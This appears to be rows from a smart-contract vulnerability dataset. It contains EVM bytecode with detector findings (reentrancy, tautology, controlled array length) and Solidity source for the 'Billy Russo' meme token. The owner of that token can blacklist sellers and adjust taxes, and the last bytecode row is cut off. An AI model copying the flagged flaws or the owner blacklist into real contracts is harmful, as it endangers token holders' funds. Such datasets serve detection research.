2528190810183818151815260200191508051906020019060200280838360005b8381101561054a578082015183820152602001610532565b505050509050019250505060405180910390f35b341561056957600080fd5b610174600160a060020a036004351661116d565b341561058857600080fd5b6103f0600435611218565b341561059e57600080fd5b61017461122c565b34156105b157600080fd5b610174600160a060020a036004351661128d565b34156105d057600080fd5b6101746004356112e4565b34156105e657600080fd5b6105ee611333565b604051600160a060020a03909116815260200160405180910390f35b341561061557600080fd5b6103f0611342565b341561062857600080fd5b6105ee611348565b341561063b57600080fd5b610174600160a060020a0360043516611357565b61017467ffffffffffffffff600435811690602435166113c9565b341561067557600080fd5b61067d6115c6565b604051901515815260200160405180910390f35b341561069c57600080fd5b6103f06115cf565b34156106af57600080fd5b610174600160a060020a03600435166115da565b34156106ce57600080fd5b6105ee61164c565b34156106e157600080fd5b6105ee611660565b34156106f457600080fd5b61017467ffffffffffffffff6004351661166f565b341561071457600080fd5b61017467ffffffffffffffff600435811690602435166044356064356117df565b61073d611d98565b610745611d98565b61074d611d98565b610755611d98565b61075d611d98565b610765611d98565b61076d611d98565b600354600080808067ffffffffffffffff808616908f161061078e57600080fd5b600067ffffffffffffffff8f16116107a557600080fd5b67ffffffffffffffff8d1615156107ca578d850367ffffffffffffffff1693506107ff565b8c67ffffffffffffffff168e860367ffffffffffffffff1610156107f0578d85036107f2565b8c5b67ffffffffffffffff1693505b8360405180591061080d5750595b90808252806020026020018201604052509b508360405180591061082e5750595b90808252806020026020018201604052509a508360405180591061084f5750595b90808252806020026020018201604052509950836040518059106108705750595b90808252806020026020018201604052509850836040518059106108915750595b90808252806020026020018201604052509750836040518059106108b25750595b90808252806020026020018201604052509650836040518059106108d35750595b90808252806020026020018201604052509550600092508d91505b8467ffffffffffffffff168267ffffffffffffffff161015610a90576003805467ffffffffffffffff841690811061092257fe5b90600052602060002090600302019050818c848151811061093f57fe5b67ffffffffffffffff9092166020928302909101909101528054600160a060020a03168b848151811061096e57fe5b600160a060020a03928316602091820290920101526001820154168a848151811061099557fe5b600160a060020a03909216602092830290910190910152600181015467ffffffffffffffff60a060020a909104168984815181106109cf57fe5b67ffffffffffffffff928316602091820290920101526002820154168884815181106109f757fe5b67ffffffffffffffff92831660209182029092010152600282015468010000000000000000900416878481518110610a2b57fe5b67ffffffffffffffff928316602091820290920101526002820154608060020a900416868481518110610a5a57fe5b67ffffffffffffffff90921660209283029091019091015260019290920191838310610a8557610a90565b8160010191506108ee565b505050505092959891949750929550565b60005433600160a060020a039081166101009092041614610ac157600080fd5b66038d7ea4c6800081351015610ad657600080fd5b803560208201351015610ae857600080fd5b602081013560408201351015610afd57600080fd5b604081013560608201351015610b1257600080fd5b606081013560808201351015610b2757600080fd5b678ac7230489e8000060808201351115610b4057600080fd5b633b9aca0081350615610b5257600080fd5b633b9aca0060208201350615610b6757600080fd5b633b9aca0060408201350615610b7c57600080fd5b633b9aca0060608201350615610b9157600080fd5b633b9aca0060808201350615610ba657600080fd5b80356009556020810135600a556040810135600b556060810135600c5560800135600d55565b6000805460ff1615610bdd57600080fd5b60035467ffffffffffffffff841610610bf557600080fd5b6003805467ffffffffffffffff8516908110610c0d57fe5b600091825260209091206003909102016002810154909150608060020a900467ffffffffffffffff1615610c4057600080fd5b805433600160a060020a0390811691161415610c5b57600080fd5b600181015467ffffffffffffffff60a060020a909104163414610c7d57600080fd5b6001810154600160a060020a031615610c9557600080fd5b600181018054600160a060020a03191633600160a060020a03818116929092179092556002830180546fffffffffffffffff000000000000000019166801000000000000000067ffffffffffffffff87811691909102919091179182905584549181169391909216918616907fa0ba07a483585de7059c8a25a63cfb94dcf6b739d6a1be71ccfa1f18c4bd46c090604051600160a060020a03909116815260200160405180910390a4505050565b60005433600160a060020a039081166101009092041614610d6357600080fd5b60058054600160a060020a031916600160a060020a0392909216919091179055565b60075481565b60005433600160a060020a039081166101009092041614610dab57600080fd5b60005460ff161515610dbc57600080fd5b6000805460ff19169055565b600660205281600052604060002081815481101515610de357fe5b9060005260206000209060049182820401919006600802915091509054906101000a900467ffffffffffffffff1681565b600080600080600080610e25611daa565b6003548810610e3357600080fd5b6003805489908110610e4157fe5b906000526020600020906003020160c060405190810160409081528254600160a060020a0390811683526001840154908116602084015267ffffffffffffffff60a060020a909104811691830191909152600290920154808316606083015268010000000000000000810483166080830152608060020a900490911660a0820152905080519650806020015195508060400151945080606001519350806080015192508060a0015191505091939550919395565b60015460009033600160a060020a03908116911614610f1357600080fd5b60035467ffffffffffffffff831610610f2b57600080fd5b6003805467ffffffffffffffff8416908110610f4357fe5b600091825260209091206003909102016002810154909150608060020a900467ffffffffffffffff1615610f7657600080fd5b6001810154600160a060020a031615610f8e57600080fd5b60028101805477ffffffffffffffff0000000000000000000000000000000019167063000000000000000000000000000000001790558054610fd990600160a060020a031683611be9565b80546001820154600160a060020a039091169067ffffffffffffffff60a060020a9091041680156108fc0290604051600060405180830381858888f19350505050151561102557600080fd5b6002810154815467ffffffffffffffff91821691600160a060020a039091169084167ffd639d46f5f92cd862f99f96540775f8126ed3bd3d40de3e0ef958bea7a7839660405160405180910390a45050565b60005433600160a060020a03908116610100909204161461109757600080fd5b60005460ff16156110a757600080fd5b6000805460ff19166001179055565b6110be611d98565b6006600083600160a060020a0316600160a060020a0316815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561116157602002820191906000526020600020906000905b82829054906101000a900467ffffffffffffffff1667ffffffffffffffff168152602001906008019060208260070104928301926001038202915080841161111c5790505b50505050509050919050565b60005433600160a060020a03908116610100909204161461118d57600080fd5b600160a060020a03811615156111a257600080fd5b600054600160a060020a03808316916101009004167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a360008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b6009816005811061122557fe5b0154905081565b6003546008545b8181101561128957600380548290811061124957fe5b6000918252602090912060039091020160020154608060020a900467ffffffffffffffff161515611281576000198101600855611289565b600101611233565b5050565b60005433600160a060020a0390811661010090920416146112ad57600080fd5b600160a060020a03811615156112c257600080fd5b60048054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a03908116610100909204161461130457600080fd5b6000811180156113145750601481105b151561131f57600080fd5b60075481141561132e57600080fd5b600755565b600254600160a060020a031681565b60085481565b600454600160a060020a031681565b60025433600160a060020a0390811691161480611387575060005433600160a060020a0390811661010090920416145b151561139257600080fd5b600160a060020a03811615156113a757600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60008054819060ff16156113dc57600080fd5b600754600160a060020a0333166000908152600660205260409020541061140257600080fd5b60008367ffffffffffffffff1610158015611428575060048367ffffffffffffffff1611155b151561143357600080fd5b600967ffffffffffffffff84166005811061144a57fe5b0154341461145757600080fd5b600380549250600183019061146c9082611ddf565b506003805467ffffffffffffffff841690811061148557fe5b6000918252602080832060039092029091018054600160a060020a033316600160a060020a0319909116811782556001808301805467ffffffffffffffff34811660a060020a027fffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffff90921691909117909155600284018054918b1667ffffffffffffffff19909216919091179055908452600690925260409092208054929350919081016115338382611e10565b916000526020600020906004918282040191900660080284909190916101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550508367ffffffffffffffff1633600160a060020a03168367ffffffffffffffff167f830f27eaee75486ef7f2c13f475ee236a246d39bacfc79eff747c5d65d65cec660405160405180910390a450505050565b60005460ff1681565b600354600019015b90565b60015433600160a060020a039081169116148061160a575060005433600160a060020a0390811661010090920416145b151561161557600080fd5b600160a060020a038116151561162a57600080fd5b60018054600160a060020a031916600160a060020a0392909216919091179055565b6000546101009004600160a060020a031681565b600154600160a060020a031681565b60035460009067ffffffffffffffff83161061168a57600080fd5b6003805467ffffffffffffffff84169081106116a257fe5b600091825260209091206003909102016002810154909150608060020a900467ffffffffffffffff16156116d557600080fd5b6001810154600160a060020a0316156116ed57600080fd5b805433600160a060020a0390811691161461170757600080fd5b60028101805477ffffffffffffffff0000000000000000000000000000000019167063000000000000000000000000000000001790556117473383611be9565b6001810154600160a060020a0333169067ffffffffffffffff60a060020a9091041680156108fc0290604051600060405180830381858888f19350505050151561179057600080fd5b600281015467ffffffffffffffff90811690600160a060020a0333169084167ffd639d46f5f92cd862f99f96540775f8126ed3bd3d40de3e0ef958bea7a7839660405160405180910390a45050565b600154600090819081908190819033600160a060020a0390811691161461180557600080fd5b60035467ffffffffffffffff8a161061181d57600080fd5b6003805467ffffffffffffffff8b1690811061183557fe5b600091825260209091206003909102016002810154909550608060020a900467ffffffffffffffff1615801561187757506001850154600160a060020a031615155b151561188257600080fd5b600554600160a060020a0316151561189957600080fd5b6005546002860154600160a060020a039091169063c63c1a27908a9068010000000000000000900467ffffffffffffffff168a8a6040517c010000000000000000000000000000000000000000000000000000000063ffffffff871602815267ffffffffffffffff948516600482015292909316602483015260448201526064810191909152608401602060405180830381600087803b151561193b57600080fd5b5af1151561194857600080fd5b5050506040518051945050600167ffffffffffffffff8516148061197657508367ffffffffffffffff166002145b151561198157600080fd5b60028501805477ffffffffffffffff000000000000000000000000000000001916608060020a67ffffffffffffffff87160217905584546119cb90600160a060020a03168a611be9565b60018501546119ec9060a060020a900467ffffffffffffffff16600a611d38565b6001860154909350611a22908490611a169060a060020a900467ffffffffffffffff166002611d54565b9063ffffffff611d8616565b91508367ffffffffffffffff1660011415611a6e578454600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515611a6957600080fd5b611aa3565b6001850154600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515611aa357600080fd5b600454600160a060020a031615611b4457611ac583600263ffffffff611d3816565b600454909150600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515611afb57600080fd5b600254600160a060020a03166108fc611b1a858463ffffffff611d8616565b9081150290604051600060405180830381858888f193505050501515611b3f57600080fd5b611b77565b600254600160a060020a031683156108fc0284604051600060405180830381858888f193505050501515611b7757600080fd5b60028501548554600187015467ffffffffffffffff92831692600160a060020a0392831692908d16917ff372819367e2d93aa2fb39fda1545cb6afc53b21d48fc6363474881a4a2cf8759116604051600160a060020a03909116815260200160405180910390a4505050505050505050565b600160a060020a03821660009081526006602052604081208054909180808311611c1257600080fd5b506063905060005b82811015611c81578381815481101515611c3057fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff168567ffffffffffffffff161415611c79578091505b600101611c1a565b6063821415611c8f57600080fd5b60001983018214611d1f578360018403815481101515611cab57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff168483815481101515611ce357fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b835460001901611d2f8582611e10565b50505050505050565b6000808284811515611d4657fe5b0490508091505b5092915050565b600080831515611d675760009150611d4d565b50828202828482811515611d7757fe5b0414611d7f57fe5b9392505050565b600082821115611d9257fe5b50900390565b60206040519081016040526000815290565b60c06040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a082015290565b815481835581811511611e0b57600302816003028360005260206000209182019101611e0b9190611e44565b505050565b815481835581811511611e0b576003016004900481600301600490048360005260206000209182019101611e0b9190611eb9565b6115d791905b80821115611eb5578054600160a060020a03191681556001810180547fffffffff0000000000000000000000000000000000000000000000000000000016905560028101805477ffffffffffffffffffffffffffffffffffffffffffffffff19169055600301611e4a565b5090565b6115d791905b80821115611eb55760008155600101611ebf5600a165627a7a72305820c4ee1ad43da069adb42fbc83017c6bc515bc13acbcfd67ac9e5a28b198247f450029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,829 |
0xf3475fc4637903d3dfa58e7468b4b9db7f55385c | /*
https://t.me/billyrussoeth
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract billy is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Billy Russo";
string private constant _symbol = "RUSSO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xcDea608E2578dC2ACA50d496632672C8dFd7f2A8);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 30) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 30) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610348578063c3c8cd8014610368578063c9567bf91461037d578063dbe8272c14610392578063dc1052e2146103b2578063dd62ed3e146103d257600080fd5b8063715018a6146102a85780638da5cb5b146102bd57806395d89b41146102e55780639e78fb4f14610313578063a9059cbb1461032857600080fd5b806323b872dd116100f257806323b872dd14610217578063273123b714610237578063313ce567146102575780636fc3eaec1461027357806370a082311461028857600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a257806318160ddd146101d25780631bbae6e0146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611875565b610418565b005b34801561016857600080fd5b5060408051808201909152600b81526a42696c6c7920527573736f60a81b60208201525b60405161019991906118f2565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd366004611783565b610469565b6040519015158152602001610199565b3480156101de57600080fd5b50670de0b6b3a76400005b604051908152602001610199565b34801561020357600080fd5b5061015a6102123660046118ad565b610480565b34801561022357600080fd5b506101c2610232366004611743565b6104c2565b34801561024357600080fd5b5061015a6102523660046116d3565b61052b565b34801561026357600080fd5b5060405160098152602001610199565b34801561027f57600080fd5b5061015a610576565b34801561029457600080fd5b506101e96102a33660046116d3565b6105aa565b3480156102b457600080fd5b5061015a6105cc565b3480156102c957600080fd5b506000546040516001600160a01b039091168152602001610199565b3480156102f157600080fd5b50604080518082019091526005815264525553534f60d81b602082015261018c565b34801561031f57600080fd5b5061015a610640565b34801561033457600080fd5b506101c2610343366004611783565b61087f565b34801561035457600080fd5b5061015a6103633660046117ae565b61088c565b34801561037457600080fd5b5061015a610930565b34801561038957600080fd5b5061015a610970565b34801561039e57600080fd5b5061015a6103ad3660046118ad565b610b36565b3480156103be57600080fd5b5061015a6103cd3660046118ad565b610b6e565b3480156103de57600080fd5b506101e96103ed36600461170b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044b5760405162461bcd60e51b815260040161044290611945565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610476338484610ba6565b5060015b92915050565b6000546001600160a01b031633146104aa5760405162461bcd60e51b815260040161044290611945565b662386f26fc100008111156104bf5760108190555b50565b60006104cf848484610cca565b610521843361051c85604051806060016040528060288152602001611ac3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc1565b610ba6565b5060019392505050565b6000546001600160a01b031633146105555760405162461bcd60e51b815260040161044290611945565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a05760405162461bcd60e51b815260040161044290611945565b476104bf81610ffb565b6001600160a01b03811660009081526002602052604081205461047a90611035565b6000546001600160a01b031633146105f65760405162461bcd60e51b815260040161044290611945565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161044290611945565b600f54600160a01b900460ff16156106c45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610442565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c91906116ef565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a457600080fd5b505afa1580156107b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dc91906116ef565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082457600080fd5b505af1158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906116ef565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610476338484610cca565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161044290611945565b60005b815181101561092c576001600660008484815181106108e857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092481611a58565b9150506108b9565b5050565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161044290611945565b6000610965306105aa565b90506104bf816110b9565b6000546001600160a01b0316331461099a5760405162461bcd60e51b815260040161044290611945565b600e546109ba9030906001600160a01b0316670de0b6b3a7640000610ba6565b600e546001600160a01b031663f305d71947306109d6816105aa565b6000806109eb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4e57600080fd5b505af1158015610a62573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8791906118c5565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afe57600080fd5b505af1158015610b12573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bf9190611891565b6000546001600160a01b03163314610b605760405162461bcd60e51b815260040161044290611945565b601e8110156104bf57600b55565b6000546001600160a01b03163314610b985760405162461bcd60e51b815260040161044290611945565b601e8110156104bf57600c55565b6001600160a01b038316610c085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610442565b6001600160a01b038216610c695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610442565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610442565b6001600160a01b038216610d905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610442565b60008111610df25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610442565b6001600160a01b03831660009081526006602052604090205460ff1615610e1857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5a57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb1576000600955600c54600a55600f546001600160a01b038481169116148015610e955750600e546001600160a01b03838116911614155b8015610eba57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ecf5750600f54600160b81b900460ff165b15610ee357601054811115610ee357600080fd5b600f546001600160a01b038381169116148015610f0e5750600e546001600160a01b03848116911614155b8015610f3357506001600160a01b03831660009081526005602052604090205460ff16155b15610f44576000600955600b54600a555b6000610f4f306105aa565b600f54909150600160a81b900460ff16158015610f7a5750600f546001600160a01b03858116911614155b8015610f8f5750600f54600160b01b900460ff165b15610faf57610f9d816110b9565b478015610fad57610fad47610ffb565b505b505b610fbc83838361125e565b505050565b60008184841115610fe55760405162461bcd60e51b815260040161044291906118f2565b506000610ff28486611a41565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092c573d6000803e3d6000fd5b600060075482111561109c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610442565b60006110a6611269565b90506110b2838261128c565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c